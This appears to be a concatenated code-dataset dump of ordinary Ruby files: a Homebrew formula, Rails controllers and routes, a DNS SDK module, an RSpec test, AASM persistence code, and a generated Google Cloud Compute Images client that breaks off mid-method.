head "https://github.com/rebar/rebar3.git"
bottle do
cellar :any_skip_relocation
sha256 "68b9657015e37e5db014a38ae0aabcfb64d9edbfe560fe8f38431069ea1842d1" => :sierra
sha256 "c0c1c434896346b14d10a8d244713bb32c4793d39d3cabe704c51052ece42bd7" => :el_capitan
sha256 "752825614e65506b0b0376343eb0205025e904974edf255bbb48f834228e0019" => :yosemite
end
depends_on "erlang"
def install
system "./bootstrap"
bin.install "rebar3"
bash_completion.install "priv/shell-completion/bash/rebar3"
zsh_completion.install "priv/shell-completion/zsh/_rebar3"
fish_completion.install "priv/shell-completion/fish/rebar3.fish"
end
test do
system bin/"rebar3", "--version"
end
end
| 31.8 | 92 | 0.774633 |
3872ad0bc081b9b1ea14f0f6144b3a3b73cd85e0 | 1,457 | class Account::PagesController < Account::BaseController
layout "account"
def index
@pager = pager_for resources.order(created_at: :desc), page: params[:page]
@pages = @pager.scoped
end
def show
@page = resources.find(params[:id])
end
def new
@page = resources.build
end
def edit
@page = resources.find(params[:id])
end
def create
@page = resources.new(page_params)
if @page.save
flash[:notice] = "Page is successfully created."
redirect_to account_pages_path
else
render :new
end
end
def update
@page = resources.find(params[:id])
if @page.update(page_params)
flash[:notice] = "The page is successfully updated."
redirect_to account_pages_path
else
flash[:alert] = "The page is not updated."
render :edit
end
end
def destroy
@page = resources.find(params[:id])
if @page.destroy
flash[:notice] = "The page is successfully deleted."
redirect_to account_pages_path
end
end
def publish
@page = resources.find(params[:id])
@page.publish if @page.unpublished?
redirect_to account_pages_path
end
def unpublish
@page = resources.find(params[:id])
@page.unpublish if @page.published?
redirect_to account_pages_path
end
private
def resources
current_user.pages.includes(:user)
end
def page_params
params.require(:page).permit(:title, :body, :slug)
end
end
| 20.236111 | 78 | 0.663006 |
28472e087da59a5981f29bb6039a004290c15c7d | 534 | Rails.application.routes.draw do
get 'friendships/new'
get 'friendships/create'
get 'friendships/update'
get 'friendships/destroy'
root 'posts#index'
devise_for :users
resources :users, only: [:index, :show]
resources :friendships, only:[:create, :update, :destroy]
resources :posts, only: [:index, :create] do
resources :comments, only: [:create]
resources :likes, only: [:create, :destroy]
end
# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
end
| 26.7 | 101 | 0.709738 |
b92862a329d5965f8dfe67d11de07c92217bcd8f | 2,821 | module Idcf
module Dns
module ClientExtensions
# SDK APIs for zone resource
module Zone
# Create a new zone.
#
# @param attributes [Hash] request attributes
# @option attributes [String] :name unique name of zone (required)
# @option attributes [String] :email e-mail address (required)
# @option attributes [String] :description description
# @option attributes [Integer] :default_ttl default TTL (required)
# @param headers [Hash] HTTP request headers
# @return [Response] HTTP response object
def create_zone(attributes, headers = {})
Validators::Zone.validate_attributes!(attributes, :create)
post!("zones", attributes, headers)
end
# Delete a zone.
#
# @param uuid [String] UUID of target zone
# @param headers [Hash] HTTP request headers
# @return [Response] HTTP response object
def delete_zone(uuid, headers = {})
delete!("zones/#{uuid}", {}, headers)
end
# Get a zone.
#
# @param uuid [String] UUID of target zone
# @param headers [Hash] HTTP request headers
# @return [Response] HTTP response object
def get_zone(uuid, headers = {})
get!("zones/#{uuid}", {}, headers)
end
# Get list of existing zones
#
# @param headers [Hash] HTTP request headers
# @return [Response] HTTP response object
def list_zones(headers = {})
get!("zones", {}, headers)
end
# Update a zone.
#
# @param uuid [String] UUID of target zone
# @param attributes [Hash] request attributes
# @option attributes [String] :email e-mail address
# @option attributes [String] :description description
# @option attributes [Integer] :default_ttl default TTL
# @return [Response] HTTP response object
def update_zone(uuid, attributes, headers = {})
Validators::Zone.validate_attributes!(attributes, :update)
put!("zones/#{uuid}", attributes, headers)
end
# Get a zone object.
#
# @param uuid [String] UUID of target zone
# @param headers [Hash] HTTP request headers
# @return [Resources::Zone] a zone object
def zone(uuid, headers = {})
Resources::Zone.new(self, get_zone(uuid, headers).body)
end
# Get an array of existing zone objects.
#
# @param headers [Hash] HTTP request headers
# @return [Array<Resources::Zone>] An array of zone objects
def zones(headers = {})
list_zones(headers).resources.map do |zone|
Resources::Zone.new(self, zone)
end
end
end
end
end
end
| 34.82716 | 74 | 0.585253 |
08f837dcd67456ca2e4a91a7ee38867d0fb226e4 | 445 | require 'spec_helper'
describe '/v1/websocket_uri' do
let(:request_headers) do
{
'HTTP_AUTHORIZATION' => "Bearer #{ENV['SECURITY_TOKEN']}"
}
end
describe 'GET' do
it 'returns websocket uri' do
get '/v1/websocket_uri', nil, request_headers
expect(last_response.status).to eq(200)
json = JSON.parse(last_response.body)
expect(json.keys.sort).to eq(%w(expiresAt uri tags).sort)
end
end
end | 23.421053 | 65 | 0.658427 |
017eeb949a446127651675bab36ea343fbed3e61 | 5,429 | module AASM
module Persistence
# This module adds transactional support for any database that supports it.
# This includes rollback capability and rollback/commit callbacks.
module ORM
# Writes <tt>state</tt> to the state column and persists it to the database
#
# foo = Foo.find(1)
# foo.aasm.current_state # => :opened
# foo.close!
# foo.aasm.current_state # => :closed
# Foo.find(1).aasm.current_state # => :closed
#
# NOTE: intended to be called from an event
def aasm_write_state(state, name=:default)
attribute_name = self.class.aasm(name).attribute_name
old_value = aasm_read_attribute(attribute_name)
aasm_write_state_attribute state, name
success = if aasm_skipping_validations(name)
aasm_update_column(attribute_name, aasm_raw_attribute_value(state, name))
else
aasm_save
end
unless success
aasm_rollback(name, old_value)
aasm_raise_invalid_record if aasm_whiny_persistence(name)
end
success
end
# Writes <tt>state</tt> to the state field, but does not persist it to the database
#
# foo = Foo.find(1)
# foo.aasm.current_state # => :opened
# foo.close
# foo.aasm.current_state # => :closed
# Foo.find(1).aasm.current_state # => :opened
# foo.save
# foo.aasm.current_state # => :closed
# Foo.find(1).aasm.current_state # => :closed
#
# NOTE: intended to be called from an event
def aasm_write_state_without_persistence(state, name=:default)
aasm_write_state_attribute(state, name)
end
private
# Save the record and return true if it succeeded/false otherwise.
def aasm_save
raise("Define #aasm_save_without_error in the AASM Persistence class.")
end
def aasm_raise_invalid_record
raise("Define #aasm_raise_invalid_record in the AASM Persistence class.")
end
# Update only the column without running validations.
def aasm_update_column(attribute_name, value)
raise("Define #aasm_update_column in the AASM Persistence class.")
end
def aasm_read_attribute(name)
raise("Define #aasm_read_attribute the AASM Persistence class.")
end
def aasm_write_attribute(name, value)
raise("Define #aasm_write_attribute in the AASM Persistence class.")
end
# Returns true or false if transaction completed successfully.
def aasm_transaction(requires_new, requires_lock)
raise("Define #aasm_transaction the AASM Persistence class.")
end
def aasm_supports_transactions?
true
end
def aasm_write_state_attribute(state, name=:default)
aasm_write_attribute(self.class.aasm(name).attribute_name, aasm_raw_attribute_value(state, name))
end
def aasm_raw_attribute_value(state, _name=:default)
state.to_s
end
def aasm_rollback(name, old_value)
aasm_write_attribute(self.class.aasm(name).attribute_name, old_value)
false
end
def aasm_whiny_persistence(state_machine_name)
AASM::StateMachineStore.fetch(self.class, true).machine(state_machine_name).config.whiny_persistence
end
def aasm_skipping_validations(state_machine_name)
AASM::StateMachineStore.fetch(self.class, true).machine(state_machine_name).config.skip_validation_on_save
end
def use_transactions?(state_machine_name)
AASM::StateMachineStore.fetch(self.class, true).machine(state_machine_name).config.use_transactions
end
def requires_new?(state_machine_name)
AASM::StateMachineStore.fetch(self.class, true).machine(state_machine_name).config.requires_new_transaction
end
def requires_lock?(state_machine_name)
AASM::StateMachineStore.fetch(self.class, true).machine(state_machine_name).config.requires_lock
end
# Returns true if event was fired successfully and transaction completed.
def aasm_fire_event(state_machine_name, name, options, *args, &block)
if aasm_supports_transactions? && options[:persist]
event = self.class.aasm(state_machine_name).state_machine.events[name]
event.fire_callbacks(:before_transaction, self, *args)
event.fire_global_callbacks(:before_all_transactions, self, *args)
begin
success = if options[:persist] && use_transactions?(state_machine_name)
aasm_transaction(requires_new?(state_machine_name), requires_lock?(state_machine_name)) do
super
end
else
super
end
if success
new_state = self.class.aasm(state_machine_name).state_object_for_name(aasm(state_machine_name).current_state)
new_state.fire_callbacks(:after_commit, self, *args)
event.fire_callbacks(:after_commit, self, *args)
event.fire_global_callbacks(:after_all_commits, self, *args)
end
success
ensure
event.fire_callbacks(:after_transaction, self, *args)
event.fire_global_callbacks(:after_all_transactions, self, *args)
end
else
super
end
end
end # Transactional
end # Persistence
end # AASM
| 35.253247 | 123 | 0.669 |
7a40d8d2537b55bf5d01d3a849dc3006063cf279 | 81 | class TokyoMetro::Required::All::Modules::Fundamental < TokyoMetro::Required
end
| 27 | 76 | 0.802469 |
08e698800f84429b42d50734a1cb71b44809b710 | 97 | require 'nuggets/object/silence_mixin'
class Object
include Nuggets::Object::SilenceMixin
end
| 16.166667 | 39 | 0.814433 |
618df2b7d12ad404b858197155ceb14906831f11 | 4,771 | require 'sidekiq/web'
Rails.application.routes.draw do
match "/404", :to => "errors#not_found", :via => :all
match "/422", :to => "errors#unprocessable", :via => :all
match "/500", :to => "errors#internal_server_error", :via => :all
match "/503", :to => "errors#service_unavailable", :via => :all
scope "(:locale)", locale: /en|cy/ do
scope :apply do
devise_for :users, module: 'save_and_return', only: [:password, :session]
devise_scope :user do
get "application-number", to: 'save_and_return/registrations#new', page: 'application-number', as: :claim_application_number
scope :users, as: :user do
options = {
only: [:create],
path: '',
path_names: {
new: 'sign_up',
edit: 'edit',
cancel: 'cancel'
},
controller: 'save_and_return/registrations',
page: "application-number"
}
resource :registration, options do
get :cancel
end
end
end
resource :guide, only: :show
resource :terms, only: :show
resource :cookies, only: :show
resource :claim_review, only: %i<show update>, path: :review
resource :claim_confirmation, only: :show, path: :confirmation
resource :claim, only: :create, path: "/" do
%w<claimants respondents>.each do |page|
resource :"additional_#{page}", only: %i<show update>,
controller: :multiples, page: "additional-#{page}",
path: "additional-#{page}"
end
resource :claimant, only: [:show, :update], controller: :claims, page: 'claimant', path: "claimant"
resource :additional_claimants, only: [:show, :update], controller: :claims, page: 'additional-claimants', path: "additional-claimants"
resource :additional_claimants_upload, only: [:show, :update], controller: :claims, page: 'additional-claimants-upload', path: "additional-claimants-upload"
resource :representative, only: [:show, :update], controller: :claims, page: 'representative', path: "representative"
resource :respondent, only: [:show, :update], controller: :claims, page: 'respondent', path: "respondent"
resource :additional_respondents, only: [:show, :update], controller: :claims, page: 'additional-respondents', path: "additional-respondents"
resource :employment, only: [:show, :update], controller: :claims, page: 'employment', path: "employment"
resource :claim_type, only: [:show, :update], controller: :claims, page: 'claim-type', path: "claim-type"
resource :claim_details, only: [:show, :update], controller: :claims, page: 'claim-details', path: "claim-details"
resource :claim_outcome, only: [:show, :update], controller: :claims, page: 'claim-outcome', path: "claim-outcome"
resource :additional_information, only: [:show, :update], controller: :claims, page: 'additional-information', path: "additional-information"
resource :review, only: [:show, :update], controller: :claims, page: 'review', path: "review"
end
resource :refund, only: [:create, :new], path: "/refund" do
RefundPagesManager.page_names.each do |page|
resource page.underscore, only: %i<show update>, controller: :refunds,
page: page, path: page
end
end
resource :diversity, only: [:create, :new], path: "/diversity" do
DiversityPagesManager.page_names.each do |page|
resource page.underscore, only: %i<show update>, controller: :diversities,
page: page, path: page
end
end
get 'diversity' => 'diversities#index', as: 'diversity_landing'
get 'ping' => 'ping#index'
resource :timeout_session, only: %i<destroy>, path: :session do
member do
get :touch
get :expired
end
end
get '/feedback' => 'feedback#new'
post '/feedback' => 'feedback#create'
get '/stats' => 'stats#index'
end
get '/apply' => 'claims#new'
get '/apply/refund' => 'refunds#new'
root to: redirect('/apply')
get '/:locale/apply/admin', to: redirect('/apply/admin')
get '/:locale/apply/sidekiq', to: redirect('/apply/sidekiq')
end
scope :apply do
ActiveAdmin.routes(self) unless $ARGV.include?('db:create')
mount Sidekiq::Web => '/sidekiq'
end
if Rails.env.test?
match '/test/valid_pdf', to: -> (_env) { [200, {'Content-Type' => 'application/pdf'}, ['anything']] }, as: :test_valid_pdf, via: :all
match '/test/invalid_pdf', to: -> (_env) { [404, {'Content-Type' => 'application/pdf'}, ['Not Found']] }, as: :test_invalid_pdf, via: :all
end
end
| 43.770642 | 164 | 0.610983 |
f757115f52df8e7f38bb23806aeb4fa4338946c5 | 192 | class AddCaseNumberToMaintenances < ActiveRecord::Migration
def up
add_column :maintenances, :case_number, :string
end
def down
remove_column :maintenances, :case_number
end
end
| 21.333333 | 59 | 0.776042 |
e9bd4cf21d1a71a46f4cfba8bac72ff1c3541f74 | 1,753 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Relay::Mgmt::V2017_04_01
module Models
#
# Parameters supplied to the regenerate authorization rule operation,
# specifies which key neeeds to be reset.
#
class RegenerateAccessKeyParameters
include MsRestAzure
# @return [KeyType] The access key to regenerate. Possible values
# include: 'PrimaryKey', 'SecondaryKey'
attr_accessor :key_type
# @return [String] Optional. If the key value is provided, this is set to
# key type, or autogenerated key value set for key type.
attr_accessor :key
#
# Mapper for RegenerateAccessKeyParameters class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'RegenerateAccessKeyParameters',
type: {
name: 'Composite',
class_name: 'RegenerateAccessKeyParameters',
model_properties: {
key_type: {
client_side_validation: true,
required: true,
serialized_name: 'keyType',
type: {
name: 'Enum',
module: 'KeyType'
}
},
key: {
client_side_validation: true,
required: false,
serialized_name: 'key',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 28.274194 | 79 | 0.553337 |
ff981242092377ed6c2d9d55f3b9c063ab7e9fec | 56,694 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "google/cloud/errors"
require "google/cloud/compute/v1/compute_pb"
module Google
module Cloud
module Compute
module V1
module Images
module Rest
##
# REST client for the Images service.
#
# The Images API.
#
class Client
include GrpcTranscoding
# @private
attr_reader :images_stub
##
# Configure the Images Client class.
#
# See {::Google::Cloud::Compute::V1::Images::Rest::Client::Configuration}
# for a description of the configuration fields.
#
# ## Example
#
# To modify the configuration for all Images clients:
#
# ::Google::Cloud::Compute::V1::Images::Rest::Client.configure do |config|
# config.timeout = 10.0
# end
#
# @yield [config] Configure the Client client.
# @yieldparam config [Client::Configuration]
#
# @return [Client::Configuration]
#
def self.configure
@configure ||= begin
namespace = ["Google", "Cloud", "Compute", "V1"]
parent_config = while namespace.any?
parent_name = namespace.join "::"
parent_const = const_get parent_name
break parent_const.configure if parent_const.respond_to? :configure
namespace.pop
end
default_config = Client::Configuration.new parent_config
default_config
end
yield @configure if block_given?
@configure
end
##
# Configure the Images Client instance.
#
# The configuration is set to the derived mode, meaning that values can be changed,
# but structural changes (adding new fields, etc.) are not allowed. Structural changes
# should be made on {Client.configure}.
#
# See {::Google::Cloud::Compute::V1::Images::Rest::Client::Configuration}
# for a description of the configuration fields.
#
# @yield [config] Configure the Client client.
# @yieldparam config [Client::Configuration]
#
# @return [Client::Configuration]
#
def configure
yield @config if block_given?
@config
end
##
# Create a new Images REST client object.
#
# ## Examples
#
# To create a new Images REST client with the default
# configuration:
#
# client = ::Google::Cloud::Compute::V1::Images::Rest::Client.new
#
# To create a new Images REST client with a custom
# configuration:
#
# client = ::Google::Cloud::Compute::V1::Images::Rest::Client.new do |config|
# config.timeout = 10.0
# end
#
# @yield [config] Configure the Images client.
# @yieldparam config [Client::Configuration]
#
def initialize
# These require statements are intentionally placed here to initialize
# the REST modules only when it's required.
require "gapic/rest"
# Create the configuration object
@config = Configuration.new Client.configure
# Yield the configuration if needed
yield @config if block_given?
# Create credentials
credentials = @config.credentials
credentials ||= Credentials.default scope: @config.scope
if credentials.is_a?(String) || credentials.is_a?(Hash)
credentials = Credentials.new credentials, scope: @config.scope
end
@client_stub = ::Gapic::Rest::ClientStub.new endpoint: @config.endpoint, credentials: credentials
end
# Service calls
##
# Deletes the specified image.
#
# @overload delete(request, options = nil)
# Pass arguments to `delete` via a request object, either of type
# {::Google::Cloud::Compute::V1::DeleteImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::DeleteImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload delete(image: nil, project: nil, request_id: nil)
# Pass arguments to `delete` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param image [::String]
# Name of the image resource to delete.
# @param project [::String]
# Project ID for this request.
# @param request_id [::String]
# An optional request ID to identify requests. Specify a unique request ID so that if you must retry your request, the server will know to ignore the request if it has already been completed.
#
# For example, consider a situation where you make an initial request and the request times out. If you make the request again with the same request ID, the server can check if original operation with the same request ID was received, and if so, will ignore the second request. This prevents clients from accidentally creating duplicate commitments.
#
# The request ID must be a valid UUID with the exception that zero UUID is not supported (00000000-0000-0000-0000-000000000000).
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def delete request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::DeleteImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, _body, query_string_params = transcode_delete request
response = @client_stub.make_delete_request(
uri: uri,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Sets the deprecation status of an image.
#
# If an empty request body is given, clears the deprecation status instead.
#
# @overload deprecate(request, options = nil)
# Pass arguments to `deprecate` via a request object, either of type
# {::Google::Cloud::Compute::V1::DeprecateImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::DeprecateImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload deprecate(deprecation_status_resource: nil, image: nil, project: nil, request_id: nil)
# Pass arguments to `deprecate` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param deprecation_status_resource [::Google::Cloud::Compute::V1::DeprecationStatus, ::Hash]
# The body resource for this request
# @param image [::String]
# Image name.
# @param project [::String]
# Project ID for this request.
# @param request_id [::String]
# An optional request ID to identify requests. Specify a unique request ID so that if you must retry your request, the server will know to ignore the request if it has already been completed.
#
# For example, consider a situation where you make an initial request and the request times out. If you make the request again with the same request ID, the server can check if original operation with the same request ID was received, and if so, will ignore the second request. This prevents clients from accidentally creating duplicate commitments.
#
# The request ID must be a valid UUID with the exception that zero UUID is not supported (00000000-0000-0000-0000-000000000000).
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def deprecate request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::DeprecateImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, body, query_string_params = transcode_deprecate request
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Returns the specified image. Gets a list of available images by making a list() request.
#
# @overload get(request, options = nil)
# Pass arguments to `get` via a request object, either of type
# {::Google::Cloud::Compute::V1::GetImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::GetImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload get(image: nil, project: nil)
# Pass arguments to `get` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param image [::String]
# Name of the image resource to return.
# @param project [::String]
# Project ID for this request.
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::Image]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Image]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def get request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::GetImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, _body, _query_string_params = transcode_get request
response = @client_stub.make_get_request(
uri: uri,
options: options
)
result = ::Google::Cloud::Compute::V1::Image.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Returns the latest image that is part of an image family and is not deprecated.
#
# @overload get_from_family(request, options = nil)
# Pass arguments to `get_from_family` via a request object, either of type
# {::Google::Cloud::Compute::V1::GetFromFamilyImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::GetFromFamilyImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload get_from_family(family: nil, project: nil)
# Pass arguments to `get_from_family` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param family [::String]
# Name of the image family to search for.
# @param project [::String]
# Project ID for this request.
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::Image]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Image]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def get_from_family request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::GetFromFamilyImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, _body, _query_string_params = transcode_get_from_family request
response = @client_stub.make_get_request(
uri: uri,
options: options
)
result = ::Google::Cloud::Compute::V1::Image.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Gets the access control policy for a resource. May be empty if no such policy or resource exists.
#
# @overload get_iam_policy(request, options = nil)
# Pass arguments to `get_iam_policy` via a request object, either of type
# {::Google::Cloud::Compute::V1::GetIamPolicyImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::GetIamPolicyImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload get_iam_policy(options_requested_policy_version: nil, project: nil, resource: nil)
# Pass arguments to `get_iam_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param options_requested_policy_version [::Integer]
# Requested IAM Policy version.
# @param project [::String]
# Project ID for this request.
# @param resource [::String]
# Name or id of the resource for this request.
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::Policy]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Policy]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def get_iam_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::GetIamPolicyImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
# Set x-goog-api-client header
call_metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Compute::V1::VERSION,
transports_version_send: [:rest]
options.apply_defaults timeout: @config.timeout,
metadata: call_metadata
uri, _body, query_string_params = transcode_get_iam_policy request
response = @client_stub.make_get_request(
uri: uri,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Policy.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
rescue ::Faraday::Error => e
gapic_error = ::Gapic::Rest::Error.wrap_faraday_error e
raise ::Google::Cloud::Error.from_error(gapic_error)
end
##
# Creates an image in the specified project using the data included in the request.
#
# @overload insert(request, options = nil)
# Pass arguments to `insert` via a request object, either of type
# {::Google::Cloud::Compute::V1::InsertImageRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Compute::V1::InsertImageRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
# Note: currently retry functionality is not implemented. While it is possible
# to set it using ::Gapic::CallOptions, it will not be applied
#
# @overload insert(force_create: nil, image_resource: nil, project: nil, request_id: nil)
# Pass arguments to `insert` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param force_create [::Boolean]
# Force image creation if true.
# @param image_resource [::Google::Cloud::Compute::V1::Image, ::Hash]
# The body resource for this request
# @param project [::String]
# Project ID for this request.
# @param request_id [::String]
# An optional request ID to identify requests. Specify a unique request ID so that if you must retry your request, the server will know to ignore the request if it has already been completed.
#
# For example, consider a situation where you make an initial request and the request times out. If you make the request again with the same request ID, the server can check if original operation with the same request ID was received, and if so, will ignore the second request. This prevents clients from accidentally creating duplicate commitments.
#
# The request ID must be a valid UUID with the exception that zero UUID is not supported (00000000-0000-0000-0000-000000000000).
# @yield [result, env] Access the result along with the Faraday environment object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
#
# @raise [::Google::Cloud::Error] if the REST call is aborted.
def insert request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Compute::V1::InsertImageRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
call_metadata = {}
